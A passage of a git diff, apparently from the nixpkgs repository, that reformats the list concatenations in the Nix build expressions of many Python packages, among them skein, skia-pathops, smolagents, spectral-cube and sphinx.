   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/simpful/default.nix b/pkgs/development/python-modules/simpful/default.nix
index fd5f5b4a652d..83851f0ec788 100644
--- a/pkgs/development/python-modules/simpful/default.nix
+++ b/pkgs/development/python-modules/simpful/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "simpful" ];
 
diff --git a/pkgs/development/python-modules/sip/default.nix b/pkgs/development/python-modules/sip/default.nix
index c48197525a58..067560caee50 100644
--- a/pkgs/development/python-modules/sip/default.nix
+++ b/pkgs/development/python-modules/sip/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
   dependencies = [
     packaging
     setuptools
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   # There aren't tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/skein/default.nix b/pkgs/development/python-modules/skein/default.nix
index 42ead31640cf..fc705bfef2a6 100644
--- a/pkgs/development/python-modules/skein/default.nix
+++ b/pkgs/development/python-modules/skein/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     cryptography
     grpcio
     pyyaml
-  ] ++ lib.optionals (!pythonOlder "3.12") [ setuptools ];
+  ]
+  ++ lib.optionals (!pythonOlder "3.12") [ setuptools ];
   buildInputs = [ grpcio-tools ];
 
   preBuild = ''
@@ -42,17 +43,16 @@ buildPythonPackage rec {
     ln -s ${skeinJar} skein/java/skein.jar
   '';
 
-  postPatch =
-    ''
-      substituteInPlace skein/core.py --replace "'yarn'" "'${hadoop}/bin/yarn'" \
-        --replace "else 'java'" "else '${hadoop.jdk}/bin/java'"
-      # Remove vendorized versioneer
-      rm versioneer.py
-    ''
-    + lib.optionalString (!pythonOlder "3.12") ''
-      substituteInPlace skein/utils.py \
-        --replace-fail "distutils" "setuptools._distutils"
-    '';
+  postPatch = ''
+    substituteInPlace skein/core.py --replace "'yarn'" "'${hadoop}/bin/yarn'" \
+      --replace "else 'java'" "else '${hadoop.jdk}/bin/java'"
+    # Remove vendorized versioneer
+    rm versioneer.py
+  ''
+  + lib.optionalString (!pythonOlder "3.12") ''
+    substituteInPlace skein/utils.py \
+      --replace-fail "distutils" "setuptools._distutils"
+  '';
 
   build-system = [ versioneer ];
 
diff --git a/pkgs/development/python-modules/skia-pathops/default.nix b/pkgs/development/python-modules/skia-pathops/default.nix
index f04f62056a83..d90da9fde156 100644
--- a/pkgs/development/python-modules/skia-pathops/default.nix
+++ b/pkgs/development/python-modules/skia-pathops/default.nix
@@ -26,31 +26,30 @@ buildPythonPackage rec {
     hash = "sha256-niUs3rbE0WLoKYbTHb2JxnXRZ3y4AZwuE+YpXUpVcmk=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace setup.py \
-        --replace "build_cmd = [sys.executable, build_skia_py, build_dir]" \
-          'build_cmd = [sys.executable, build_skia_py, "--no-fetch-gn", "--no-virtualenv", "--gn-path", "${gn}/bin/gn", build_dir]'
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
-      substituteInPlace src/cpp/skia-builder/skia/gn/skia/BUILD.gn \
-        --replace "-march=armv7-a" "-march=armv8-a" \
-        --replace "-mfpu=neon" "" \
-        --replace "-mthumb" ""
-      substituteInPlace src/cpp/skia-builder/skia/src/core/SkOpts.cpp \
-        --replace "defined(SK_CPU_ARM64)" "0"
-    ''
-    +
-      lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) # old compiler?
-        ''
-          patch -p1 <<EOF
-          --- a/src/cpp/skia-builder/skia/include/private/base/SkTArray.h
-          +++ b/src/cpp/skia-builder/skia/include/private/base/SkTArray.h
-          @@ -492 +492 @@:
-          -    static constexpr int kMaxCapacity = SkToInt(std::min(SIZE_MAX / sizeof(T), (size_t)INT_MAX));
-          +    static constexpr int kMaxCapacity = SkToInt(std::min<size_t>(SIZE_MAX / sizeof(T), (size_t)INT_MAX));
-          EOF
-        '';
+  postPatch = ''
+    substituteInPlace setup.py \
+      --replace "build_cmd = [sys.executable, build_skia_py, build_dir]" \
+        'build_cmd = [sys.executable, build_skia_py, "--no-fetch-gn", "--no-virtualenv", "--gn-path", "${gn}/bin/gn", build_dir]'
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
+    substituteInPlace src/cpp/skia-builder/skia/gn/skia/BUILD.gn \
+      --replace "-march=armv7-a" "-march=armv8-a" \
+      --replace "-mfpu=neon" "" \
+      --replace "-mthumb" ""
+    substituteInPlace src/cpp/skia-builder/skia/src/core/SkOpts.cpp \
+      --replace "defined(SK_CPU_ARM64)" "0"
+  ''
+  +
+    lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) # old compiler?
+      ''
+        patch -p1 <<EOF
+        --- a/src/cpp/skia-builder/skia/include/private/base/SkTArray.h
+        +++ b/src/cpp/skia-builder/skia/include/private/base/SkTArray.h
+        @@ -492 +492 @@:
+        -    static constexpr int kMaxCapacity = SkToInt(std::min(SIZE_MAX / sizeof(T), (size_t)INT_MAX));
+        +    static constexpr int kMaxCapacity = SkToInt(std::min<size_t>(SIZE_MAX / sizeof(T), (size_t)INT_MAX));
+        EOF
+      '';
 
   build-system = [
     cython
@@ -58,14 +57,13 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  nativeBuildInputs =
-    [
-      ninja
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools.libtool
-      xcodebuild
-    ];
+  nativeBuildInputs = [
+    ninja
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools.libtool
+    xcodebuild
+  ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/skops/default.nix b/pkgs/development/python-modules/skops/default.nix
index 90a37ba3bba4..6299c9933951 100644
--- a/pkgs/development/python-modules/skops/default.nix
+++ b/pkgs/development/python-modules/skops/default.nix
@@ -49,18 +49,17 @@ buildPythonPackage rec {
     # flaky
     "test_base_case_works_as_expected"
   ];
-  disabledTestPaths =
-    [
-      # try to download data from Huggingface Hub:
-      "skops/hub_utils/tests"
-      "skops/card/tests"
-      # minor output formatting issue
-      "skops/card/_model_card.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Segfaults on darwin
-      "skops/io/tests/test_persist.py"
-    ];
+  disabledTestPaths = [
+    # try to download data from Huggingface Hub:
+    "skops/hub_utils/tests"
+    "skops/card/tests"
+    # minor output formatting issue
+    "skops/card/_model_card.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Segfaults on darwin
+    "skops/io/tests/test_persist.py"
+  ];
 
   pythonImportsCheck = [ "skops" ];
 
diff --git a/pkgs/development/python-modules/skytemple-files/default.nix b/pkgs/development/python-modules/skytemple-files/default.nix
index 3d68f501919c..c329e27719b1 100644
--- a/pkgs/development/python-modules/skytemple-files/default.nix
+++ b/pkgs/development/python-modules/skytemple-files/default.nix
@@ -69,14 +69,16 @@ buildPythonPackage rec {
       gql
       graphql-core
       lru-dict
-    ] ++ gql.optional-dependencies.aiohttp;
+    ]
+    ++ gql.optional-dependencies.aiohttp;
   };
 
   nativeCheckInputs = [
     pytestCheckHook
     parameterized
     xmldiff
-  ] ++ optional-dependencies.spritecollab;
+  ]
+  ++ optional-dependencies.spritecollab;
 
   preCheck = "pushd test";
   postCheck = "popd";
diff --git a/pkgs/development/python-modules/skytemple-ssb-debugger/default.nix b/pkgs/development/python-modules/skytemple-ssb-debugger/default.nix
index 64bd47671d03..377183a5fbe6 100644
--- a/pkgs/development/python-modules/skytemple-ssb-debugger/default.nix
+++ b/pkgs/development/python-modules/skytemple-ssb-debugger/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     skytemple-files
     skytemple-icons
     skytemple-ssb-emulator
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   doCheck = false; # requires Pokémon Mystery Dungeon ROM
   pythonImportsCheck = [ "skytemple_ssb_debugger" ];
diff --git a/pkgs/development/python-modules/slack-bolt/default.nix b/pkgs/development/python-modules/slack-bolt/default.nix
index 0fd22c66f47b..34b47d9bd157 100644
--- a/pkgs/development/python-modules/slack-bolt/default.nix
+++ b/pkgs/development/python-modules/slack-bolt/default.nix
@@ -91,7 +91,8 @@ buildPythonPackage rec {
     docker
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME="$(mktemp -d)"
diff --git a/pkgs/development/python-modules/slowapi/default.nix b/pkgs/development/python-modules/slowapi/default.nix
index 10b1800b24ae..50211d2f998c 100644
--- a/pkgs/development/python-modules/slowapi/default.nix
+++ b/pkgs/development/python-modules/slowapi/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     # AssertionError: assert '1740326049.9886339' == '1740326049'
     "test_headers_no_breach"
     "test_headers_breach"
-  ] ++ lib.optionals (pythonAtLeast "3.10") [ "test_multiple_decorators" ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.10") [ "test_multiple_decorators" ];
 
   pythonImportsCheck = [ "slowapi" ];
 
diff --git a/pkgs/development/python-modules/smart-open/default.nix b/pkgs/development/python-modules/smart-open/default.nix
index 475835eb6948..0550a1fdb0c2 100644
--- a/pkgs/development/python-modules/smart-open/default.nix
+++ b/pkgs/development/python-modules/smart-open/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     moto
     pytestCheckHook
     responses
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [ "smart_open" ];
 
diff --git a/pkgs/development/python-modules/smolagents/default.nix b/pkgs/development/python-modules/smolagents/default.nix
index c7a795e44ee1..a610b1c98e2a 100644
--- a/pkgs/development/python-modules/smolagents/default.nix
+++ b/pkgs/development/python-modules/smolagents/default.nix
@@ -108,41 +108,41 @@ buildPythonPackage rec {
     pytest-datadir
     pytestCheckHook
     wikipedia-api
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "smolagents" ];
 
-  disabledTests =
-    [
-      # Missing dependencies
-      "test_ddgs_with_kwargs"
-      "test_e2b_executor_instantiation"
-      "test_flatten_messages_as_text_for_all_models"
-      "test_from_mcp"
-      "test_import_smolagents_without_extras"
-      "test_vision_web_browser_main"
-      # Tests require network access
-      "test_agent_type_output"
-      "test_call_different_providers_without_key"
-      "test_can_import_sklearn_if_explicitly_authorized"
-      "test_transformers_message_no_tool"
-      "test_transformers_message_vl_no_tool"
-      "test_transformers_toolcalling_agent"
-      "test_visit_webpage"
-      "test_wikipedia_search"
-    ]
-    ++ lib.optionals stdenv.isDarwin [
-      # Missing dependencies
-      "test_get_mlx"
+  disabledTests = [
+    # Missing dependencies
+    "test_ddgs_with_kwargs"
+    "test_e2b_executor_instantiation"
+    "test_flatten_messages_as_text_for_all_models"
+    "test_from_mcp"
+    "test_import_smolagents_without_extras"
+    "test_vision_web_browser_main"
+    # Tests require network access
+    "test_agent_type_output"
+    "test_call_different_providers_without_key"
+    "test_can_import_sklearn_if_explicitly_authorized"
+    "test_transformers_message_no_tool"
+    "test_transformers_message_vl_no_tool"
+    "test_transformers_toolcalling_agent"
+    "test_visit_webpage"
+    "test_wikipedia_search"
+  ]
+  ++ lib.optionals stdenv.isDarwin [
+    # Missing dependencies
+    "test_get_mlx"
 
-      # Fatal Python error: Aborted
-      # thread '<unnamed>' panicked, Attempted to create a NULL object.
-      # duckduckgo_search/duckduckgo_search.py", line 83 in __init__
-      "TestDuckDuckGoSearchTool"
-      "test_init_agent_with_different_toolsets"
-      "test_multiagents_save"
-      "test_new_instance"
-    ];
+    # Fatal Python error: Aborted
+    # thread '<unnamed>' panicked, Attempted to create a NULL object.
+    # duckduckgo_search/duckduckgo_search.py", line 83 in __init__
+    "TestDuckDuckGoSearchTool"
+    "test_init_agent_with_different_toolsets"
+    "test_multiagents_save"
+    "test_new_instance"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/snitun/default.nix b/pkgs/development/python-modules/snitun/default.nix
index d451e38ee8bd..3f95f9cd081b 100644
--- a/pkgs/development/python-modules/snitun/default.nix
+++ b/pkgs/development/python-modules/snitun/default.nix
@@ -42,37 +42,36 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # AssertionError: Expected 'fileno' to not have been called. Called 1 times.
-      "test_client_stop_no_wait"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_multiplexer_data_channel_abort_full" # https://github.com/NabuCasa/snitun/issues/61
-      # port binding conflicts
-      "test_snitun_single_runner_timeout"
-      "test_snitun_single_runner_throttling"
-      # ConnectionResetError: [Errno 54] Connection reset by peer
-      "test_peer_listener_timeout"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # blocking
-      "test_flow_client_peer"
-      "test_close_client_peer"
-      "test_init_connector"
-      "test_flow_connector"
-      "test_close_connector_remote"
-      "test_init_connector_whitelist"
-      "test_init_multiplexer_server"
-      "test_init_multiplexer_client"
-      "test_init_multiplexer_server_throttling"
-      "test_init_multiplexer_client_throttling"
-      "test_multiplexer_ping"
-      "test_multiplexer_ping_error"
-      "test_multiplexer_init_channel_full"
-      "test_multiplexer_close_channel_full"
-      "test_init_dual_peer_with_multiplexer"
-    ];
+  disabledTests = [
+    # AssertionError: Expected 'fileno' to not have been called. Called 1 times.
+    "test_client_stop_no_wait"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_multiplexer_data_channel_abort_full" # https://github.com/NabuCasa/snitun/issues/61
+    # port binding conflicts
+    "test_snitun_single_runner_timeout"
+    "test_snitun_single_runner_throttling"
+    # ConnectionResetError: [Errno 54] Connection reset by peer
+    "test_peer_listener_timeout"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # blocking
+    "test_flow_client_peer"
+    "test_close_client_peer"
+    "test_init_connector"
+    "test_flow_connector"
+    "test_close_connector_remote"
+    "test_init_connector_whitelist"
+    "test_init_multiplexer_server"
+    "test_init_multiplexer_client"
+    "test_init_multiplexer_server_throttling"
+    "test_init_multiplexer_client_throttling"
+    "test_multiplexer_ping"
+    "test_multiplexer_ping_error"
+    "test_multiplexer_init_channel_full"
+    "test_multiplexer_close_channel_full"
+    "test_init_dual_peer_with_multiplexer"
+  ];
 
   pythonImportsCheck = [ "snitun" ];
 
diff --git a/pkgs/development/python-modules/snorkel/default.nix b/pkgs/development/python-modules/snorkel/default.nix
index 836e04d0875d..ae8c3757a470 100644
--- a/pkgs/development/python-modules/snorkel/default.nix
+++ b/pkgs/development/python-modules/snorkel/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage {
     dill
     dask
     spacy-models.en_core_web_sm
-  ] ++ dask.optional-dependencies.distributed;
+  ]
+  ++ dask.optional-dependencies.distributed;
 
   meta = with lib; {
     description = "System for quickly generating training data with weak supervision";
diff --git a/pkgs/development/python-modules/snscrape/default.nix b/pkgs/development/python-modules/snscrape/default.nix
index 4af0d060b735..cb16c0ace1f6 100644
--- a/pkgs/development/python-modules/snscrape/default.nix
+++ b/pkgs/development/python-modules/snscrape/default.nix
@@ -37,15 +37,14 @@ buildPythonPackage rec {
 
   build-system = [ setuptools-scm ];
 
-  dependencies =
-    [
-      beautifulsoup4
-      filelock
-      lxml
-      requests
-    ]
-    ++ requests.optional-dependencies.socks
-    ++ lib.optionals (pythonOlder "3.9") [ pytz ];
+  dependencies = [
+    beautifulsoup4
+    filelock
+    lxml
+    requests
+  ]
+  ++ requests.optional-dependencies.socks
+  ++ lib.optionals (pythonOlder "3.9") [ pytz ];
 
   # There are no tests; make sure the executable works.
   checkPhase = ''
diff --git a/pkgs/development/python-modules/social-auth-core/default.nix b/pkgs/development/python-modules/social-auth-core/default.nix
index 1a25c1e82bfc..860b3981b408 100644
--- a/pkgs/development/python-modules/social-auth-core/default.nix
+++ b/pkgs/development/python-modules/social-auth-core/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     httpretty
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # Disable checking the code coverage
   prePatch = ''
diff --git a/pkgs/development/python-modules/soxr/default.nix b/pkgs/development/python-modules/soxr/default.nix
index dfd38d2a22eb..3470810e5b7e 100644
--- a/pkgs/development/python-modules/soxr/default.nix
+++ b/pkgs/development/python-modules/soxr/default.nix
@@ -50,16 +50,15 @@ buildPythonPackage rec {
     "--config=cmake.define.USE_SYSTEM_LIBSOXR=ON"
   ];
 
-  build-system =
-    [
-      scikit-build-core
-      nanobind
-      setuptools
-      setuptools-scm
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      typing-extensions
-    ];
+  build-system = [
+    scikit-build-core
+    nanobind
+    setuptools
+    setuptools-scm
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    typing-extensions
+  ];
 
   buildInputs = [ libsoxr ];
 
diff --git a/pkgs/development/python-modules/spacy/models.nix b/pkgs/development/python-modules/spacy/models.nix
index b1d5ec36a10c..4e9f5062fc05 100644
--- a/pkgs/development/python-modules/spacy/models.nix
+++ b/pkgs/development/python-modules/spacy/models.nix
@@ -44,21 +44,22 @@ let
         inherit sha256;
       };
 
-      propagatedBuildInputs =
-        [ spacy ]
-        ++ lib.optionals (lib.hasSuffix "_trf" pname) [ spacy-curated-transformers ]
-        ++ lib.optionals requires-transformers [ transformers ]
-        ++ lib.optionals (lang == "ja") [
-          sudachidict-core
-          sudachipy
-        ]
-        ++ lib.optionals (lang == "ru") [ pymorphy3 ]
-        ++ lib.optionals (lang == "uk") [
-          pymorphy3
-          pymorphy3-dicts-uk
-        ]
-        ++ lib.optionals (lang == "zh") [ spacy-pkuseg ]
-        ++ lib.optionals requires-sentencepiece [ sentencepiece ];
+      propagatedBuildInputs = [
+        spacy
+      ]
+      ++ lib.optionals (lib.hasSuffix "_trf" pname) [ spacy-curated-transformers ]
+      ++ lib.optionals requires-transformers [ transformers ]
+      ++ lib.optionals (lang == "ja") [
+        sudachidict-core
+        sudachipy
+      ]
+      ++ lib.optionals (lang == "ru") [ pymorphy3 ]
+      ++ lib.optionals (lang == "uk") [
+        pymorphy3
+        pymorphy3-dicts-uk
+      ]
+      ++ lib.optionals (lang == "zh") [ spacy-pkuseg ]
+      ++ lib.optionals requires-sentencepiece [ sentencepiece ];
 
       postPatch =
         lib.optionalString requires-protobuf ''
diff --git a/pkgs/development/python-modules/spectral-cube/default.nix b/pkgs/development/python-modules/spectral-cube/default.nix
index 8b00710680f3..b7d201d4e1ab 100644
--- a/pkgs/development/python-modules/spectral-cube/default.nix
+++ b/pkgs/development/python-modules/spectral-cube/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     packaging
     radio-beam
     tqdm
-  ] ++ dask.optional-dependencies.array;
+  ]
+  ++ dask.optional-dependencies.array;
 
   nativeCheckInputs = [
     aplpy
@@ -66,102 +67,101 @@ buildPythonPackage rec {
     "ignore::FutureWarning"
   ];
 
-  disabledTests =
-    [
-      # AttributeError: 'DaskSpectralCube' object has no attribute 'dtype'
-      "test_key_access_valid"
+  disabledTests = [
+    # AttributeError: 'DaskSpectralCube' object has no attribute 'dtype'
+    "test_key_access_valid"
 
-      # For some reason, those tests are failing with "FutureWarning: Can't acquire a memory view of a Dask array."
-      # without being caught by the `-W ignore::FutureWarning` flag above.
-      "test_1d_slice_reductions"
-      "test_1d_slice_round"
-      "test_1d_slices"
-      "test_1dcomparison_mask_1d_index"
-      "test_1dmask_indexing"
-      "test_2dcomparison_mask_1d_index"
-      "test_3d_beams_roundtrip"
-      "test_4d_beams_roundtrip"
-      "test_LDO_arithmetic"
-      "test_add"
-      "test_apply_everywhere"
-      "test_apply_everywhere_plusminus"
-      "test_apply_function_parallel_shape"
-      "test_attributes"
-      "test_basic_arrayness"
-      "test_basic_unit_conversion"
-      "test_basic_unit_conversion_beams"
-      "test_beam_jpix_checks_array"
-      "test_beam_jtok"
-      "test_beam_jtok_2D"
-      "test_beam_jtok_array"
-      "test_beam_proj_meta"
-      "test_beams_convolution"
-      "test_beams_convolution_equal"
-      "test_casa_read_basic"
-      "test_convolution"
-      "test_convolve_to_equal"
-      "test_convolve_to_jybeam_multibeams"
-      "test_convolve_to_jybeam_onebeam"
-      "test_convolve_to_with_bad_beams"
-      "test_cube_add"
-      "test_cube_stacking"
-      "test_cube_with_swapped_axes"
-      "test_div"
-      "test_filled"
-      "test_getitem"
-      "test_getitem_vrsc"
-      "test_how_withfluxunit"
-      "test_initialization_from_units"
-      "test_mask_none"
-      "test_mosaic_cube"
-      "test_mul"
-      "test_mul_cubes"
-      "test_multibeams_unit_conversions_general_1D"
-      "test_numpy_ma_tools"
-      "test_oned_slic"
-      "test_oned_slice_beams"
-      "test_padding_direction"
-      "test_pow"
-      "test_preserves_header_meta_values"
-      "test_proj_meta"
-      "test_regression_719"
-      "test_repr_1d"
-      "test_slice_wcs"
-      "test_slicing"
-      "test_spatial_smooth_g2d"
-      "test_spatial_smooth_maxfilter"
-      "test_spatial_smooth_median"
-      "test_spatial_smooth_t2d"
-      "test_spatial_world"
-      "test_spectral_interpolate"
-      "test_spectral_interpolate_reversed"
-      "test_spectral_interpolate_varying_chunksize"
-      "test_spectral_interpolate_with_fillvalue"
-      "test_spectral_interpolate_with_mask"
-      "test_spectral_slice_preserve_units"
-      "test_spectral_smooth"
-      "test_spectral_units"
-      "test_stacking"
-      "test_stacking_badvels"
-      "test_stacking_noisy"
-      "test_stacking_reversed_specaxis"
-      "test_stacking_woffset"
-      "test_stacking_wpadding"
-      "test_subtract"
-      "test_subtract_cubes"
-      "test_unit_conversions_general"
-      "test_unit_conversions_general_1D"
-      "test_unit_conversions_general_2D"
-      "test_varyres_mask"
-      "test_varyres_spectra"
-      "test_varyres_unitconversion_roundtrip"
-      "test_with_flux_unit"
-      "test_with_spectral_unit"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Flaky: AssertionError: assert diffvals.max()*u.B <= 1*u.MB
-      "test_reproject_3D_memory"
-    ];
+    # For some reason, those tests are failing with "FutureWarning: Can't acquire a memory view of a Dask array."
+    # without being caught by the `-W ignore::FutureWarning` flag above.
+    "test_1d_slice_reductions"
+    "test_1d_slice_round"
+    "test_1d_slices"
+    "test_1dcomparison_mask_1d_index"
+    "test_1dmask_indexing"
+    "test_2dcomparison_mask_1d_index"
+    "test_3d_beams_roundtrip"
+    "test_4d_beams_roundtrip"
+    "test_LDO_arithmetic"
+    "test_add"
+    "test_apply_everywhere"
+    "test_apply_everywhere_plusminus"
+    "test_apply_function_parallel_shape"
+    "test_attributes"
+    "test_basic_arrayness"
+    "test_basic_unit_conversion"
+    "test_basic_unit_conversion_beams"
+    "test_beam_jpix_checks_array"
+    "test_beam_jtok"
+    "test_beam_jtok_2D"
+    "test_beam_jtok_array"
+    "test_beam_proj_meta"
+    "test_beams_convolution"
+    "test_beams_convolution_equal"
+    "test_casa_read_basic"
+    "test_convolution"
+    "test_convolve_to_equal"
+    "test_convolve_to_jybeam_multibeams"
+    "test_convolve_to_jybeam_onebeam"
+    "test_convolve_to_with_bad_beams"
+    "test_cube_add"
+    "test_cube_stacking"
+    "test_cube_with_swapped_axes"
+    "test_div"
+    "test_filled"
+    "test_getitem"
+    "test_getitem_vrsc"
+    "test_how_withfluxunit"
+    "test_initialization_from_units"
+    "test_mask_none"
+    "test_mosaic_cube"
+    "test_mul"
+    "test_mul_cubes"
+    "test_multibeams_unit_conversions_general_1D"
+    "test_numpy_ma_tools"
+    "test_oned_slic"
+    "test_oned_slice_beams"
+    "test_padding_direction"
+    "test_pow"
+    "test_preserves_header_meta_values"
+    "test_proj_meta"
+    "test_regression_719"
+    "test_repr_1d"
+    "test_slice_wcs"
+    "test_slicing"
+    "test_spatial_smooth_g2d"
+    "test_spatial_smooth_maxfilter"
+    "test_spatial_smooth_median"
+    "test_spatial_smooth_t2d"
+    "test_spatial_world"
+    "test_spectral_interpolate"
+    "test_spectral_interpolate_reversed"
+    "test_spectral_interpolate_varying_chunksize"
+    "test_spectral_interpolate_with_fillvalue"
+    "test_spectral_interpolate_with_mask"
+    "test_spectral_slice_preserve_units"
+    "test_spectral_smooth"
+    "test_spectral_units"
+    "test_stacking"
+    "test_stacking_badvels"
+    "test_stacking_noisy"
+    "test_stacking_reversed_specaxis"
+    "test_stacking_woffset"
+    "test_stacking_wpadding"
+    "test_subtract"
+    "test_subtract_cubes"
+    "test_unit_conversions_general"
+    "test_unit_conversions_general_1D"
+    "test_unit_conversions_general_2D"
+    "test_varyres_mask"
+    "test_varyres_spectra"
+    "test_varyres_unitconversion_roundtrip"
+    "test_with_flux_unit"
+    "test_with_spectral_unit"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Flaky: AssertionError: assert diffvals.max()*u.B <= 1*u.MB
+    "test_reproject_3D_memory"
+  ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [
     # On x86_darwin, this test fails with "Fatal Python error: Aborted"
diff --git a/pkgs/development/python-modules/speechrecognition/default.nix b/pkgs/development/python-modules/speechrecognition/default.nix
index 7b7a89c9518e..225ebcbf1364 100644
--- a/pkgs/development/python-modules/speechrecognition/default.nix
+++ b/pkgs/development/python-modules/speechrecognition/default.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pocketsphinx
     respx
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "speech_recognition" ];
 
diff --git a/pkgs/development/python-modules/spglib/default.nix b/pkgs/development/python-modules/spglib/default.nix
index bcd6e8fa02e7..da684cda3b97 100644
--- a/pkgs/development/python-modules/spglib/default.nix
+++ b/pkgs/development/python-modules/spglib/default.nix
@@ -41,13 +41,12 @@ buildPythonPackage rec {
 
   dontUseCmakeConfigure = true;
 
-  dependencies =
-    [
-      numpy
-    ]
-    ++ lib.optionals (pythonOlder "3.13") [
-      typing-extensions
-    ];
+  dependencies = [
+    numpy
+  ]
+  ++ lib.optionals (pythonOlder "3.13") [
+    typing-extensions
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/sphinx-autoapi/default.nix b/pkgs/development/python-modules/sphinx-autoapi/default.nix
index 5baa2f0cd3a2..a2b0e5afb539 100644
--- a/pkgs/development/python-modules/sphinx-autoapi/default.nix
+++ b/pkgs/development/python-modules/sphinx-autoapi/default.nix
@@ -35,16 +35,15 @@ buildPythonPackage rec {
 
   build-system = [ flit-core ];
 
-  dependencies =
-    [
-      astroid
-      jinja2
-      pyyaml
-      sphinx
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      stdlib-list
-    ];
+  dependencies = [
+    astroid
+    jinja2
+    pyyaml
+    sphinx
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    stdlib-list
+  ];
 
   nativeCheckInputs = [
     beautifulsoup4
diff --git a/pkgs/development/python-modules/sphinx-autodoc2/default.nix b/pkgs/development/python-modules/sphinx-autodoc2/default.nix
index 8b8c8a71e6a0..d50c265dab7c 100644
--- a/pkgs/development/python-modules/sphinx-autodoc2/default.nix
+++ b/pkgs/development/python-modules/sphinx-autodoc2/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
 
     # cli deps
     typer
-  ] ++ typer.optional-dependencies.standard;
+  ]
+  ++ typer.optional-dependencies.standard;
 
   preCheck = ''
     # make sphinx_path an alias of pathlib.Path, since sphinx_path was removed in Sphinx v7.2.0
diff --git a/pkgs/development/python-modules/sphinx/default.nix b/pkgs/development/python-modules/sphinx/default.nix
index 72e199987a19..7fe28c9d5eca 100644
--- a/pkgs/development/python-modules/sphinx/default.nix
+++ b/pkgs/development/python-modules/sphinx/default.nix
@@ -65,29 +65,28 @@ buildPythonPackage rec {
 
   build-system = [ flit-core ];
 
-  dependencies =
-    [
-      alabaster
-      babel
-      docutils
-      imagesize
-      jinja2
-      packaging
-      pygments
-      requests
-      roman-numerals-py
-      snowballstemmer
-      sphinxcontrib-applehelp
-      sphinxcontrib-devhelp
-      sphinxcontrib-htmlhelp
-      sphinxcontrib-jsmath
-      sphinxcontrib-qthelp
-      sphinxcontrib-serializinghtml
-      # extra[docs]
-      sphinxcontrib-websupport
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  dependencies = [
+    alabaster
+    babel
+    docutils
+    imagesize
+    jinja2
+    packaging
+    pygments
+    requests
+    roman-numerals-py
+    snowballstemmer
+    sphinxcontrib-applehelp
+    sphinxcontrib-devhelp
+    sphinxcontrib-htmlhelp
+    sphinxcontrib-jsmath
+    sphinxcontrib-qthelp
+    sphinxcontrib-serializinghtml
+    # extra[docs]
+    sphinxcontrib-websupport
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ]
